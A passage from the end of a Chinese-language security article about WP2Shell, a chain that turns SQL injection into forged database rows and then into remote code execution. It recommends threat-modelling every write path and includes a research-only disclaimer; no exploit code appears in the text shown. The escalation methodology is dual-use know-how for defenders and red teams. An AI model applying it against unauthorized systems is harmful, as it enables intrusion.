- 纳入缓存路径到威胁建模。多路径写入是安全盲区,需确保所有写入路径都经过统一的安全校验。
从攻击者视角,WP2Shell 展示了如何将"读取型"漏洞(SQL 注入)转化为"写入型"攻击(伪造数据库行),再进一步转化为"执行型"攻击(RCE)的完整跨越路径。这种思路对红队评估和漏洞挖掘具有方法论级别的参考价值。
免责声明:本文仅用于安全研究与防御目的。所有 PoC 代码均为概念验证,实际利用需在授权环境下进行。请勿将本文技术用于未授权攻击。
浙公网安备 33010602011771号